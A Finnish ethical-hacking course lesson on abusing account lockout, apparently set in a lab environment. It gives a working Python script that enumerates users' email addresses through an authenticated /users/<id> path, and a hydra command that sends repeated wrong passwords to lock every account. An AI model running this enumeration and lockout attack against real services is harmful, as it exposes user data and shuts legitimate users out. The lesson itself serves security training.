Tilien lukituksen kääntöpuoli
Kun joku alkaa arvailemaan käyttäjätunnukselle salasanoja, on parempi estää tunnuksella kirjautuminen kokonaan, kuin antaa hyökkääjän murtautua tilille.
Tästä kuitenkin seuraa myös haavoittuvuus, jos hyökkääjä tietää käyttäjän tunnuksen, hyökkääjä voi lukita käyttäjän ulos palvelusta, estäen käyttäjää itsekään kirjautumasta palveluun.
Harjoitus
Tässä harjoituksessa on tavoitteena lukita jokaisen sovelluksen käyttäjän tili. Vaiheet ovat seuraavat:
- Listataan kaikki sovelluksen käyttäjät. Hieno termi olisi "enumeroidaan" sovelluksen käyttäjät. Enumeroinnilla viitataan tällaisissa tietoturvajutuissa yleensä jonkun asian, kuten käyttäjien tai vaikkapa hyökkäyspinnan läpikäymiseen.
- Yritetään kirjautua jokaisella käyttäjällä väärällä salasanalla muutaman kerran niin, että tili menee lukkoon.
Käyttäjien enumerointi
Python-ohjelmointikieli ja sen requests-moduuli on tavattoman näppärä, kun halutaan tehdä pieniä HTTP-palveluihin kohdistuvia automaatioita. Tehdään nyt pieni skripti, joka käy läpi sovelluksen käyttäjät ja tallentaa ne tiedostoon users.txt.
Idea on, että vierailemme ensin sivulla /users/1 ja otamme sähköpostiosoitteen talteen, sitten /users/2, ja niin edelleen kunnes käyttäjiä ei enää löydy enempää.
Ensin meidän pitää vastata kahteen kysymykseen:
- Minkälainen HTTP-pyyntö meidän pitää /users/<numero> -osoitteeseen lähettää? Pitää ottaa huomioon, että kyseessä on autentikoitu polku, eli siis sellainen osa sovellusta johon ei pääse ilman kirjautumista.
- Miten me parsitaan HTTP-vastauksesta osoite?
Vastaukset molempiin löytyy kun katsotaan burpista HTTP-viestiä.
GET /users/1 HTTP/2
Host: www-1hnms92pp0.ha-target.com
Cookie: session=.eJwlzjk...
...
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 6543
...
...
></path>
</svg>
melissa.wright@ha-target.com
</p>
</div>
</div>
...
HTTP-pyynnössä täytyy siis olla mukana session-niminen eväste, ja sen arvon voimme kopioida suoraan HTTP-pyynnöstä.
Vastauksessa taas ei oikein ole sellaisia selkeitä merkkejä joiden välistä esimerkiksi voisimme sähköpostiosoitteen napata. Turvaudumme siis regexiin.
Regex
Regex, tai "regular expressions", on erittäin yleisesti ohjelmoinnissa ja muuallakin hyödynnetty kieli, jonka tarkoitus on löytää jotain tekstin sisältä.
Mennään regexiin syvällisemmin toisessa kurssissa, mutta tehdään yksi regex-kaava nyt tätä harjoitusta varten. Kaava, jolla löydämme sähköpostin tekstin seasta on:
[a-z\.]+@ha-target.com
- [ ja ] merkit aloittavat ja lopettavat merkkiluokan (character class), joka määrittää minkälaisista merkeistä ollaan kiinnostuneita. Tässä tapauksessa a-z tarkoittaa merkkejä a, b, c, d... z, ja \. tarkoittaa pistettä.
- Pisteen edessä on kenoviiva, joka "eskeippaa" pisteen, joka on normaalisti erikoismerkki ja tarkoittaa regexissä mitä tahansa merkkiä. Jos halutaan sen tarkoittavan vain pistettä, eteen laitetaan kenoviiva. Sama pätee muihinkin erikoismerkkeihin (kuten nyt vaikka nuo [ ja ] merkit).
- Merkkiluokan jälkeen tuleva plus-merkki tarkoittaa, että "yksi tai enemmän". Eli esim. regex [abc123]+ tarkoittaisi, että yksi tai enemmän merkkiä, joka on joko a, b, c, 1, 2 tai 3. aaa1 olisi osuma. aba21 olisi osuma. Pelkkä a olisi osuma. Tyhjä teksti ei kuitenkaan olisi osuma (koska plus tarkoittaa yksi tai enemmän), ja "lala" ei olisi osuma, koska siinä on merkkejä, joka eivät ole [abc123].
- @ha-target.com on vain tekstiä.
- Etsimme siis tällä kaavalla tekstiä, joka on muotoa "mitä tahansa pieniä kirjaimia tai pisteitä, jonka jälkeen tulee @ha-target.com".
Regexejä on helppo harjoitella ja suunnitella Regex101-palvelussa.
Koodi
Okei! Aloitetaan koodaus. Avaa hyökkääjän koodieditori (löytyy harjoituksen linkistä) ja luo uusi tiedosto:
Anna sen nimeksi vaikka "enumeroi.py":
Kopioi sitten tiedostoon seuraava pohja:
# Aloitetaan importtaamalla tarvitsemamme moduulit.
# Requests on HTTP-kutsuja varten, ja re on regexiä varten.
import requests
import re
# Korvaa tämän muuttujan arvo omalla
# istuntotunnisteellasi. Näet sen burpista.
session_cookie = ".eJwl..."
# Korvaa tämä oman labrasi osoitteella
lab_url = "https://www-1hnms92pp0.ha-target.com/"
# Regex kaava jolla saadaan sähköposti ulos HTTP-vastauksen tekstistä
# Kaavoissa kannattaa käyttää Python "raakaa" stringiä, eli laittaa r
# tekstin eteen. Muuten voit törmätä ongelmiin, kun \ jonka tarkoitit
# eskeippaamaan pisteen onkin jo eskeipattu pythonin toimesta, eikä se koskaan
# pääse regex-käsittelijälle asti.
regex_kaava = r"[a-z\.]+@ha-target.com"
user_id = 1
emailit = []
while True:
http_vastaus = requests.get(lab_url + f"/users/{user_id}", cookies={"session": session_cookie})
if http_vastaus.status_code != 200:
print("Ei enää käyttäjiä.")
break # hypätään pois while-silmukasta
vastauksen_body = http_vastaus.text
for email in re.findall(regex_kaava, vastauksen_body):
print(f'[*] Löytyi: {email}')
emailit.append(email)
user_id += 1
with open('users.txt', 'w') as f:
f.write('\n'.join(emailit))
print(f'[*] Kirjoitettu {len(emailit)} sähköpostia tiedostoon users.txt')
Korvaa URL-labrasi URL-osoitteella ja laite evästeeseen oikea istuntotunniste (jonka näet burpista). Tallenna (Ctrl + S / Omppu + S) tiedosto ja avaa sitten terminaali:
Terminaalissa aja skripti seuraavasti:
python3 ./enumeroi.py
Jos kaikki sujuu mukavasti, sinun pitäisi nähdä jotain tällaista:
Lukitus
Huh, vaikea vaihe on ohitse! Nyt pääsemme tutulle maaperälle, ei nimittäin tarvitse kuin tehdä "passwords.txt"-tiedosto, johon kirjoittaa vaikka kuudelle (kuudennella yrityksellä menee lukkoon) riville jotain höpönlöpöä, kuitenkin eri höpönlöpö per rivi, ettei hydra päätä olla kokeilematta samaa salasanaa enää uudestaan. Sitten voit käynnistää hydran kuten aiemmissakin moduuleissa, käyttäen users.txt-tiedostoa käyttäjätunnustiedostona ja passwords.txt-tiedostoa salasanatiedostona. Oikea/Väärä (-S tai -F -asetus) pitää olla niin, ettei hydra koskaan löydä "oikeaa" salasanaa, muuten se saattaa lakata arvailemasta liian aikaisin.
hydra -L users.txt -P passwords.txt www-1hnms92pp0.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:S=asdpoksda"
Jos kaikki menee hyvin, kaikki sovelluksen käyttäjien tilit ovat lukossa noin minuutin kuluttua. Voit seurata edistymistä kirjautumissivulta:
Jos labra ei mene kokonaan läpi ensimmäisellä ajolla, voi olla että se ei ole kestänyt hydran lähettämää liikennettä ja on siitä seuraten tiputtanut joitain HTTP-pyyntöjä. Tällaisessa tapauksessa aja vain hyökkäys uudestaan.
Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.